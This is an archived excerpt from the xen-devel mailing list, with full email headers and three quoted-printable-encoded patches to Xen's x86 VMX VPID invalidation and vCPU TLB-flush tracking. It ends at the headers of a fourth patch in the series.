Feedback-ID: default:8631fc262581453bbf619ec5b2062170:Sweego
x-campaign-id: default
x-client-id: 8631fc262581453bbf619ec5b2062170
X-Originating-IP: [37.26.189.201]
From: Teddy Astie <teddy.astie@vates.tech>
To: xen-devel@lists.xenproject.org
Cc: Teddy Astie <teddy.astie@vates.tech>,
	Jan Beulich <jbeulich@suse.com>,
	Andrew Cooper <andrew.cooper3@citrix.com>,
	=?UTF-8?q?Roger=20Pau=20Monn=C3=A9?= <roger@xenproject.org>
Subject: [PATCH v2 1/5] vmx: Refactor vpid_sync_vcpu_gva()
Date: Fri, 31 Jul 2026 16:46:19 +0200
In-Reply-To: <1785509179.8631fc262581453bbf619ec5b2062170.19fb8a3efe8000e099@vates.tech>
References: <1785509179.8631fc262581453bbf619ec5b2062170.19fb8a3efe8000e099@vates.tech>
MIME-Version: 1.0
X-BM-Disclaimer: Yes
Content-Type: multipart/alternative; boundary="-=Part.18ff.71101933f68cc749.19fb8a5d996.f3f5bee82a807134=-"
X-Bm-Milter-Handled: 4ffbd6c1-ee69-4e1b-aabd-f977039bd3e2
X-Bm-Transport-Timestamp: 1785509304727
X-purgate-ID: tlsNG-16d1c6/1785509306-1F8CB77B-8B60FC19/0/0
X-purgate-type: clean
X-purgate-size: 1708

---=Part.18ff.71101933f68cc749.19fb8a5d996.f3f5bee82a807134=-
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: quoted-printable

Reorganize the logic to drop the use of goto=2E

Signed-off-by: Teddy Astie <teddy=2Eastie@vates=2Etech>
---
v2: Introduced

 xen/arch/x86/include/asm/hvm/vmx/vmx=2Eh | 9 +++------
 1 file changed, 3 insertions(+), 6 deletions(-)

diff --git a/xen/arch/x86/include/asm/hvm/vmx/vmx=2Eh b/xen/arch/x86/inclu=
de/asm/hvm/vmx/vmx=2Eh
index da04752e17=2E=2Efe2cb4be0e 100644
--- a/xen/arch/x86/include/asm/hvm/vmx/vmx=2Eh
+++ b/xen/arch/x86/include/asm/hvm/vmx/vmx=2Eh
@@ -460,19 +460,16 @@ static inline void vpid_sync_vcpu_gva(struct vcpu *v=
, unsigned long gva)
      * If individual address invalidation is not supported, we escalate t=
o
      * use single context invalidation=2E
      */
-    if ( likely(cpu_has_vmx_vpid_invvpid_individual_addr) )
-        goto execute_invvpid;
-
-    type =3D INVVPID_SINGLE_CONTEXT;
+    if ( unlikely(!cpu_has_vmx_vpid_invvpid_individual_addr) )
+        type =3D INVVPID_SINGLE_CONTEXT;
=20
     /*
      * If single context invalidation is not supported, we escalate to
      * use all context invalidation=2E
      */
-    if ( !cpu_has_vmx_vpid_invvpid_single_context )
+    if ( unlikely(!cpu_has_vmx_vpid_invvpid_single_context) )
         type =3D INVVPID_ALL_CONTEXT;
=20
-execute_invvpid:
     __invvpid(type, v->arch=2Ehvm=2En1asid=2Easid, (u64)gva);
 }
=20
--=20
2=2E54=2E0



-- 
Teddy Astie | Vates XCP-ng Developer

XCP-ng & Xen Orchestra - Vates s=
olutions

web: https://vates=2Etech
---=Part.18ff.71101933f68cc749.19fb8a5d996.f3f5bee82a807134=---


From xen-devel-bounces@lists.xenproject.org Fri Jul 31 14:48:35 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Fri, 31 Jul 2026 14:48:35 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1379230.1623981 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wpoXL-0007SE-AJ; Fri, 31 Jul 2026 14:48:35 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1379230.1623981; Fri, 31 Jul 2026 14:48:35 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wpoXL-0007Qt-5K; Fri, 31 Jul 2026 14:48:35 +0000
Received: by outflank-mailman (input) for mailman id 1379230;
 Fri, 31 Jul 2026 14:48:33 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19fb8a5e798000e099@swg.vates.tech>)
 id 1wpoXJ-0007N4-PP
 for xen-devel@lists.xenproject.org; Fri, 31 Jul 2026 14:48:33 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wpoXJ-00CUBm-6C
 for xen-devel@lists.xenproject.org; Fri, 31 Jul 2026 16:48:33 +0200
Received: from [10.42.69.7] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19fb8a5e798000e099@swg.vates.tech>)
 id 6a6cb596-e002-0a2a0a5209dd-0a2a4507c5fc-46
 for <xen-devel@lists.xenproject.org>; Fri, 31 Jul 2026 16:48:33 +0200
Received: from [185.255.28.35] (helo=prod-mta-13-02.swg-srv.net)
 by tlsNG-ef75cf.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19fb8a5e798000e099@swg.vates.tech>)
 id 6a6cb5c0-b4ea-0a2a45070019-b9ff1c238c93-3
 for <xen-devel@lists.xenproject.org>; Fri, 31 Jul 2026 16:48:32 +0200
Received: from mail2.vates.fr ([37.26.189.201] mail2.vates.fr)
 (Authenticated sender:
 8631fc262581453bbf619ec5b2062170/smtp/7773de5a-2839-4720-82ee-e06722ae1d3e)
 by prod-mta-13-02.swg-srv.net (ZoneMTA - prod-mta-13) with ESMTPSA id
 19fb8a5e798000e099.002 for <xen-devel@lists.xenproject.org>
 (version=TLSv1.3 cipher=TLS_AES_256_GCM_SHA384);
 Fri, 31 Jul 2026 14:48:28 +0000
Received: from bazzite.gpn.vates.fr (88-188-240-210.subs.proxad.net
 [88.188.240.210]) (Authenticated sender: teddy.astie)
 by mail2.vates.fr (Postfix) with ESMTPSA id B8C6880D94;
 Fri, 31 Jul 2026 16:48:27 +0200 (CEST)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=vates.tech header.i="@vates.tech" header.h="From:Subject:Date:Message-ID:To:Cc:MIME-Version:Content-Type:In-Reply-To:References:Feedback-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=vates.tech;
 q=dns/txt; s=selector1; bh=Q2F0FlO7w3yECG/9TsvG+DDJbpDrd0E51fLuG5f35IE=;
 h=from:subject:date:message-id:to:cc:mime-version:content-type:in-reply-to:references:feedback-id;
 b=AlBQpVohFp3vGIFmMjBTkHa6AchTTIrOIhTgeoCQ46yCMZWEr9cjrNtwiq+BWoXAidNh7mqsU
 qMesGJ4qHKxuqWO6TYWfajEK6rzkwLVowJRkK9a3kE/RK3vVdnzYzbnUoX6H/8Kx4+ifxT2W9l8
 1r5YqRJZLuPTj2QybzindNJ0hMfVsk3xQ4HICLcIvyNzET0sAKVo+NVnQKaWJYeICQdsNzYmEVG
 crHIHtnpbelRVBiWI2/bDb0HlxUBqnWrvziZgw9gcR9FNNWlR40BgFjmnHAm0qT2LClk9nFnG6L
 o+9lodi0V2cGCOMrfIoasbgYuJ/zpe9434/i5U3CyUig==
X-Zone-Loop: 485e407c4cfc042718acb54935d554a7ecb75bda4930
x-campaign-type: default
x-transaction-id: 8ee2bcd0-0c7b-47cc-9ed5-fe788794b472
x-swg-uid: 01-899fd023-2ef8-4202-b916-3856a104c299
X-Mailer: Sweego
Message-ID:
 <1785509308.8631fc262581453bbf619ec5b2062170.19fb8a5e798000e099@vates.tech>
x-swg-bid: 1785509308.8631fc262581453bbf619ec5b2062170.19fb8a5e798000e099
Feedback-ID: default:8631fc262581453bbf619ec5b2062170:Sweego
x-campaign-id: default
x-client-id: 8631fc262581453bbf619ec5b2062170
X-Originating-IP: [37.26.189.201]
From: Teddy Astie <teddy.astie@vates.tech>
To: xen-devel@lists.xenproject.org
Cc: Teddy Astie <teddy.astie@vates.tech>,
	Jan Beulich <jbeulich@suse.com>,
	Andrew Cooper <andrew.cooper3@citrix.com>,
	=?UTF-8?q?Roger=20Pau=20Monn=C3=A9?= <roger@xenproject.org>
Subject: [RFC PATCH v2 3/5] x86: Track vcpu context switches and introduce needs_tlb_flush field
Date: Fri, 31 Jul 2026 16:46:21 +0200
In-Reply-To: <1785509179.8631fc262581453bbf619ec5b2062170.19fb8a3efe8000e099@vates.tech>
References: <1785509179.8631fc262581453bbf619ec5b2062170.19fb8a3efe8000e099@vates.tech>
MIME-Version: 1.0
X-BM-Disclaimer: Yes
Content-Type: multipart/alternative; boundary="-=Part.1901.533985bc8e84151.19fb8a5e5f2.e118d770c751f179=-"
X-Bm-Milter-Handled: 4ffbd6c1-ee69-4e1b-aabd-f977039bd3e2
X-Bm-Transport-Timestamp: 1785509307890
X-purgate-ID: tlsNG-ef75cf/1785509312-34ECEAE4-91DCB2B6/0/0
X-purgate-type: clean
X-purgate-size: 4750

---=Part.1901.533985bc8e84151.19fb8a5e5f2.e118d770c751f179=-
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: quoted-printable

Introduce needs_tlb_flush that indicate that the vCPU related TLB
needs to be flushed before entering this domain=2E This is intended
to be used later for using the same ASID for all vCPU of a domain=2E

Also track vCPU context switch to determine :
 - per vcpu "latest_cpu" that tracks which pCPU last ran this vCPU,
   this is used to know whether our current TLB (of our pCPU) state
   is stale=2E
   Schedule a TLB flush if the vCPU ran on another pCPU previously=2E
 - per pCPU "latest_vcpu" (per domain) that tracks which vCPU the
   TLB+ASID/VPID is holding onto=2E
   Schedule a TLB flush if this pCPU hasn't ran this vCPU previously
   (which can happen if we context-switch multiples vCPUs of a same
   domain on a same pCPU)=2E

If ASID use is disabled, unconditionnaly perform a TLB flush=2E

Signed-off-by: Teddy Astie <teddy=2Eastie@vates=2Etech>
---
v2: Merge several patches into one, move logic to context_switch(),
    move fields to arch_vcpu/arch_domain, consider !asid_enabled case=2E
---
 xen/arch/x86/domain=2Ec             | 26 ++++++++++++++++++++++++++
 xen/arch/x86/include/asm/domain=2Eh |  6 ++++++
 2 files changed, 32 insertions(+)

diff --git a/xen/arch/x86/domain=2Ec b/xen/arch/x86/domain=2Ec
index 996b50af7a=2E=2E27155546ca 100644
--- a/xen/arch/x86/domain=2Ec
+++ b/xen/arch/x86/domain=2Ec
@@ -38,6 +38,7 @@
 #include <xen/smp=2Eh>
 #include <xen/softirq=2Eh>
 #include <xen/wait=2Eh>
+#include <xen/xvmalloc=2Eh>
=20
 #include <asm/amd=2Eh>
 #include <asm/cpu-policy=2Eh>
@@ -874,6 +875,13 @@ int arch_domain_create(struct domain *d,
=20
     spec_ctrl_init_domain(d);
=20
+    rc =3D -ENOMEM;
+    d->arch=2Elatest_vcpu =3D xvmalloc_array(int, nr_cpu_ids);
+    if ( !d->arch=2Elatest_vcpu )
+        goto fail;
+    for (unsigned int i =3D 0; i < nr_cpu_ids; i++)
+        d->arch=2Elatest_vcpu[i] =3D -1;
+
     if ( (rc =3D paging_domain_init(d)) !=3D 0 )
         goto fail;
     paging_initialised =3D true;
@@ -964,6 +972,7 @@ void arch_domain_destroy(struct domain *d)
=20
     xfree(d->arch=2Ee820);
     XFREE(d->arch=2Ecpu_policy);
+    XFREE(d->arch=2Elatest_vcpu);
=20
     free_domain_pirqs(d);
     if ( !is_idle_domain(d) )
@@ -2183,6 +2192,23 @@ void context_switch(struct vcpu *prev, struct vcpu =
*next)
         ASSERT(!vcpu_cpu_dirty(next));
     }
=20
+    /**
+     * Check if we were the latest vCPU of this domain that ran on this p=
CPU=2E
+     * Flush the TLB if it is not, as the TLB entries are the ones from t=
he previous
+     * vCPU=2E If we weren't the latest pCPU, always perform a TLB flush =
as we may be
+     * out of sync=2E
+     */
+    if ( nextd->arch=2Elatest_vcpu )
+    {
+        if ( !asid_enabled ||
+             nextd->arch=2Elatest_vcpu[cpu] !=3D next->vcpu_id ||
+             next->arch=2Elatest_cpu !=3D cpu )
+            next->arch=2Eneeds_tlb_flush =3D true;
+
+        nextd->arch=2Elatest_vcpu[cpu] =3D next->vcpu_id;
+        next->arch=2Elatest_cpu =3D cpu;
+    }
+
     _update_runstate_area(prev);
     vpmu_switch_from(prev);
     np2m_schedule(NP2M_SCHEDLE_OUT);
diff --git a/xen/arch/x86/include/asm/domain=2Eh b/xen/arch/x86/include/as=
m/domain=2Eh
index e0ce8b4c39=2E=2Ec67af79da2 100644
--- a/xen/arch/x86/include/asm/domain=2Eh
+++ b/xen/arch/x86/include/asm/domain=2Eh
@@ -345,6 +345,10 @@ struct arch_domain
         struct hvm_domain hvm;
     };
=20
+    /* Mapping of the latest vCPU that ran on a specific CPU, thus hold
+     * the current domain TLB state (-1 if the vCPU hasn't ran yet) */
+    int *latest_vcpu;
+
     struct paging_domain paging;
     struct p2m_domain *p2m;
     /* To enforce lock ordering in the pod code wrt the
@@ -647,8 +651,10 @@ struct arch_vcpu
                                         /* former, if any */
     bool old_guest_table_partial;       /* Are we dropping a type ref, or=
 just
                                          * finishing up a partial de-vali=
dation? */
+    bool needs_tlb_flush;               /* VCPU needs its TLB flushed bef=
ore waking? */
=20
     unsigned long cr3;                  /* (MA) value to install in HW CR=
3 */
+    unsigned int latest_cpu;            /* Latest pCPU that ran this VCPU=
=2E */
=20
     /*
      * The save area for Processor Extended States and the bitmask of the
--=20
2=2E54=2E0



-- 
Teddy Astie | Vates XCP-ng Developer

XCP-ng & Xen Orchestra - Vates s=
olutions

web: https://vates=2Etech
---=Part.1901.533985bc8e84151.19fb8a5e5f2.e118d770c751f179=---


From xen-devel-bounces@lists.xenproject.org Fri Jul 31 14:48:35 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Fri, 31 Jul 2026 14:48:35 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1379229.1623975 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wpoXK-0007Ns-US; Fri, 31 Jul 2026 14:48:34 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1379229.1623975; Fri, 31 Jul 2026 14:48:34 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wpoXK-0007Nj-RZ; Fri, 31 Jul 2026 14:48:34 +0000
Received: by outflank-mailman (input) for mailman id 1379229;
 Fri, 31 Jul 2026 14:48:32 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19fb8a5e190000e099@swg.vates.tech>)
 id 1wpoXI-0007Mg-QJ
 for xen-devel@lists.xenproject.org; Fri, 31 Jul 2026 14:48:32 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wpoXI-00CUBm-5T
 for xen-devel@lists.xenproject.org; Fri, 31 Jul 2026 16:48:32 +0200
Received: from [10.42.69.5] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19fb8a5e190000e099@swg.vates.tech>)
 id 6a6cb5bc-e002-0a2a0a5209dd-0a2a4505a39a-12
 for <xen-devel@lists.xenproject.org>; Fri, 31 Jul 2026 16:48:32 +0200
Received: from [185.255.28.18] (helo=prod-mta-13.swg-srv.net)
 by tlsNG-c201ff.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19fb8a5e190000e099@swg.vates.tech>)
 id 6a6cb5bf-4cb1-0a2a45050019-b9ff1c129253-3
 for <xen-devel@lists.xenproject.org>; Fri, 31 Jul 2026 16:48:32 +0200
Received: from mail2.vates.fr ([37.26.189.201] mail2.vates.fr)
 (Authenticated sender:
 8631fc262581453bbf619ec5b2062170/smtp/7773de5a-2839-4720-82ee-e06722ae1d3e)
 by prod-mta-13.swg-srv.net (ZoneMTA - prod-mta-13) with ESMTPSA id
 19fb8a5e190000e099.002 for <xen-devel@lists.xenproject.org>
 (version=TLSv1.3 cipher=TLS_AES_256_GCM_SHA384);
 Fri, 31 Jul 2026 14:48:26 +0000
Received: from bazzite.gpn.vates.fr (88-188-240-210.subs.proxad.net
 [88.188.240.210]) (Authenticated sender: teddy.astie)
 by mail2.vates.fr (Postfix) with ESMTPSA id 3B49682040;
 Fri, 31 Jul 2026 16:48:26 +0200 (CEST)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=vates.tech header.i="@vates.tech" header.h="From:Subject:Date:Message-ID:To:Cc:MIME-Version:Content-Type:In-Reply-To:References:Feedback-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=vates.tech;
 q=dns/txt; s=selector1; bh=2qgwMCEsfQoJSE+w5mPEOLJqRBQE14pEI8bg1CzQ6eM=;
 h=from:subject:date:message-id:to:cc:mime-version:content-type:in-reply-to:references:feedback-id;
 b=HmB8+2fOR2KQevqLzasmmFsj/eAN9rqa8rwdqstLVY+CqOmOOgtPVte7Ry9NYe5uRYVk2a7ib
 Hp4pcrRXhg6I86o6yTinvq7WGJEOMryXk+0H37TNJQd6dsHYBuhHgh9rBKuwy6BxmBCTd8xHTZ7
 oIED5qJs5qZ9wdg69Zxigbm8XNE6HCLacJpudyuU/6V2kVGKTvsTPCC2i+xugMDad0//HEcc7g6
 xxCPxS6dwMiXq1pUMdXGz3e4Ne+b9F+zxUPj0s0dcxilTL8VNZaeqtcBNJCZrNAEkS1BnZCrDNK
 O0Aak4mChO/tYrJnBx1JNb6XOou6JOWM2Gdrg1ROD90A==
X-Zone-Loop: 47c8a1f21c0c342c4fd69db86a33c496ccb209efb6e5
x-campaign-type: default
x-transaction-id: 4d5951fa-a44c-427d-b4c1-40fbbcf2e252
x-swg-uid: 01-58888ac8-c2da-4684-8ca6-607bebee053b
X-Mailer: Sweego
Message-ID:
 <1785509306.8631fc262581453bbf619ec5b2062170.19fb8a5e190000e099@vates.tech>
x-swg-bid: 1785509306.8631fc262581453bbf619ec5b2062170.19fb8a5e190000e099
Feedback-ID: default:8631fc262581453bbf619ec5b2062170:Sweego
x-campaign-id: default
x-client-id: 8631fc262581453bbf619ec5b2062170
X-Originating-IP: [37.26.189.201]
From: Teddy Astie <teddy.astie@vates.tech>
To: xen-devel@lists.xenproject.org
Cc: Teddy Astie <teddy.astie@vates.tech>,
	Jan Beulich <jbeulich@suse.com>,
	Andrew Cooper <andrew.cooper3@citrix.com>,
	=?UTF-8?q?Roger=20Pau=20Monn=C3=A9?= <roger@xenproject.org>
Subject: [PATCH v2 2/5] vmx: Introduce vcpu single context VPID invalidation
Date: Fri, 31 Jul 2026 16:46:20 +0200
In-Reply-To: <1785509179.8631fc262581453bbf619ec5b2062170.19fb8a3efe8000e099@vates.tech>
References: <1785509179.8631fc262581453bbf619ec5b2062170.19fb8a3efe8000e099@vates.tech>
MIME-Version: 1.0
X-BM-Disclaimer: Yes
Content-Type: multipart/alternative; boundary="-=Part.1900.1985a6e94661df73.19fb8a5e005.3e48b813fbc80f1a=-"
X-Bm-Milter-Handled: 4ffbd6c1-ee69-4e1b-aabd-f977039bd3e2
X-Bm-Transport-Timestamp: 1785509306373
X-purgate-ID: tlsNG-c201ff/1785509312-F68B62A1-CE146D70/0/0
X-purgate-type: clean
X-purgate-size: 1618

---=Part.1900.1985a6e94661df73.19fb8a5e005.3e48b813fbc80f1a=-
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: quoted-printable

Introduce vpid_sync_vcpu_context to do a single-context invalidation
on the vpid attached to the vcpu as a alternative to per-gva and all-conte=
xt
invlidations=2E

Signed-off-by: Teddy Astie <teddy=2Eastie@vates=2Etech>
---
v2: Drop use of goto=2E

 xen/arch/x86/include/asm/hvm/vmx/vmx=2Eh | 14 ++++++++++++++
 1 file changed, 14 insertions(+)

diff --git a/xen/arch/x86/include/asm/hvm/vmx/vmx=2Eh b/xen/arch/x86/inclu=
de/asm/hvm/vmx/vmx=2Eh
index fe2cb4be0e=2E=2E08854c36ca 100644
--- a/xen/arch/x86/include/asm/hvm/vmx/vmx=2Eh
+++ b/xen/arch/x86/include/asm/hvm/vmx/vmx=2Eh
@@ -452,6 +452,20 @@ static inline void ept_sync_all(void)
=20
 void ept_sync_domain(struct p2m_domain *p2m);
=20
+static inline void vpid_sync_vcpu_context(const struct vcpu *v)
+{
+    int type =3D INVVPID_SINGLE_CONTEXT;
+
+    /*
+     * If single context invalidation is not supported, we escalate to
+     * use all context invalidation=2E
+     */
+    if ( unlikely(!cpu_has_vmx_vpid_invvpid_single_context) )
+        type =3D INVVPID_ALL_CONTEXT;
+
+    __invvpid(type, v->arch=2Ehvm=2En1asid=2Easid, 0);
+}
+
 static inline void vpid_sync_vcpu_gva(struct vcpu *v, unsigned long gva)
 {
     int type =3D INVVPID_INDIVIDUAL_ADDR;
--=20
2=2E54=2E0



-- 
Teddy Astie | Vates XCP-ng Developer

XCP-ng & Xen Orchestra - Vates s=
olutions

web: https://vates=2Etech
---=Part.1900.1985a6e94661df73.19fb8a5e005.3e48b813fbc80f1a=---


From xen-devel-bounces@lists.xenproject.org Fri Jul 31 14:48:38 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Fri, 31 Jul 2026 14:48:38 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1379232.1623994 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wpoXO-0007rZ-FX; Fri, 31 Jul 2026 14:48:38 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1379232.1623994; Fri, 31 Jul 2026 14:48:38 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wpoXO-0007rN-C3; Fri, 31 Jul 2026 14:48:38 +0000
Received: by outflank-mailman (input) for mailman id 1379232;
 Fri, 31 Jul 2026 14:48:36 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19fb8a5ecef000e099@swg.vates.tech>)
 id 1wpoXM-0007oQ-IB
 for xen-devel@lists.xenproject.org; Fri, 31 Jul 2026 14:48:36 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wpoXL-00HAWc-VJ
 for xen-devel@lists.xenproject.org; Fri, 31 Jul 2026 16:48:35 +0200
Received: from [10.42.69.8] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19fb8a5ecef000e099@swg.vates.tech>)
 id 6a6cb5c0-bab6-0a2a0a5309dd-0a2a45089240-8
 for <xen-devel@lists.xenproject.org>; Fri, 31 Jul 2026 16:48:35 +0200
Received: from [185.255.28.34] (helo=prod-mta-13-01.swg-srv.net)
 by tlsNG-c1860d.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19fb8a5ecef000e099@swg.vates.tech>)
 id 6a6cb5c3-f659-0a2a45080019-b9ff1c228db7-3
 for <xen-devel@lists.xenproject.org>; Fri, 31 Jul 2026 16:48:35 +0200
Received: from mail2.vates.fr ([37.26.189.201] mail2.vates.fr)
 (Authenticated sender:
 8631fc262581453bbf619ec5b2062170/smtp/7773de5a-2839-4720-82ee-e06722ae1d3e)
 by prod-mta-13-01.swg-srv.net (ZoneMTA - prod-mta-13) with ESMTPSA id
 19fb8a5ecef000e099.005 for <xen-devel@lists.xenproject.org>
 (version=TLSv1.3 cipher=TLS_AES_256_GCM_SHA384);
 Fri, 31 Jul 2026 14:48:29 +0000
Received: from bazzite.gpn.vates.fr (88-188-240-210.subs.proxad.net
 [88.188.240.210]) (Authenticated sender: teddy.astie)
 by mail2.vates.fr (Postfix) with ESMTPSA id 047AC80D94;
 Fri, 31 Jul 2026 16:48:28 +0200 (CEST)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=vates.tech header.i="@vates.tech" header.h="From:Subject:Date:Message-ID:To:Cc:MIME-Version:Content-Type:In-Reply-To:References:Feedback-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=vates.tech;
 q=dns/txt; s=selector1; bh=YUE52s2EBU/AFHc4SGqgCz7TeilxbdJQ/4q71M7ZhBU=;
 h=from:subject:date:message-id:to:cc:mime-version:content-type:in-reply-to:references:feedback-id;
 b=IiIKJa43k+Uk0SRySYUzfLhOlKRUE9IXwas0/q5dubjAqTgAG/SmNTd670/zHDi9fOHLxA6K7
 ka5epZJw+HewXlhF9wHoZOtdHXM707TIUfzBQDCytRrbo3+M/tS2hpDlpuBkcKwCluSp8Q7RnNE
 SEWT61RKx1dmO/MxdlQf5RnHDnEjk9ETL3/AZmMzB5rcpaE+9n05W6upTB8Wv+DpPo32ZSWaUEK
 Oo8XOqvT2RIYwihfbbmnmJwQr45qAicrtkZMHqvlF4O3K3S4LMgQif7avgERRa6CFGQwQ1lpE4+
 SbWHTChBDuEUvADBea12v6itL257ZzjTEoKHEHD9sleA==
X-Zone-Loop: 8f695a037b9b5dfdd1b4df4d63d1ee8dbcc55ce5c16e
x-campaign-type: default
x-transaction-id: 984c073c-636e-4ad2-94cd-b86a471c4f2d
x-swg-uid: 01-a33e294a-0733-40de-a5f3-a1bf59031496
X-Mailer: Sweego
Message-ID:
 <1785509309.8631fc262581453bbf619ec5b2062170.19fb8a5ecef000e099@vates.tech>
x-swg-bid: 1785509309.8631fc262581453bbf619ec5b2062170.19fb8a5ecef000e099
Feedback-ID: default:8631fc262581453bbf619ec5b2062170:Sweego
x-campaign-id: default
x-client-id: 8631fc262581453bbf619ec5b2062170
X-Originating-IP: [37.26.189.201]
From: Teddy Astie <teddy.astie@vates.tech>
To: xen-devel@lists.xenproject.org
Cc: Teddy Astie <teddy.astie@vates.tech>,
	Andrew Cooper <andrew.cooper3@citrix.com>,
	Anthony PERARD <anthony.perard@vates.tech>,
	Michal Orzel <michal.orzel@amd.com>,
	Jan Beulich <jbeulich@suse.com>,
	Julien Grall <julien@xen.org>,
	=?UTF-8?q?Roger=20Pau=20Monn=C3=A9?= <roger@xenproject.org>,
	Stefano Stabellini <sstabellini@kernel.org>,
	Jason Andryuk <jason.andryuk@amd.com>,
	Tim Deegan <tim@xen.org>
Subject: [RFC PATCH v2 4/5] x86/hvm: Transition to needs_tlb_flush logic, use per-domain ASID
Date: Fri, 31 Jul 2026 16:46:22 +0200
In-Reply-To: <1785509179.8631fc262581453bbf619ec5b2062170.19fb8a3efe8000e099@vates.tech>
References: <1785509179.8631fc262581453bbf619ec5b2062170.19fb8a3efe8000e099@vates.tech>
MIME-Version: 1.0
X-BM-Disclaimer: Yes
Content-Type: multipart/alternative; boundary="-=Part.1902.d6e2b0de82b0333e.19fb8a5eb68.d9f4fc1aecb1f2d9=-"
X-Bm-Milter-Handled: 4ffbd6c1-ee69-4e1b-aabd-f977039bd3e2
X-Bm-Transport-Timestamp: 1785509309288
X-purgate-ID: tlsNG-c1860d/1785509315-CD94A87B-124C2F63/0/0
X-purgate-type: clean
X-purgate-size: 44782

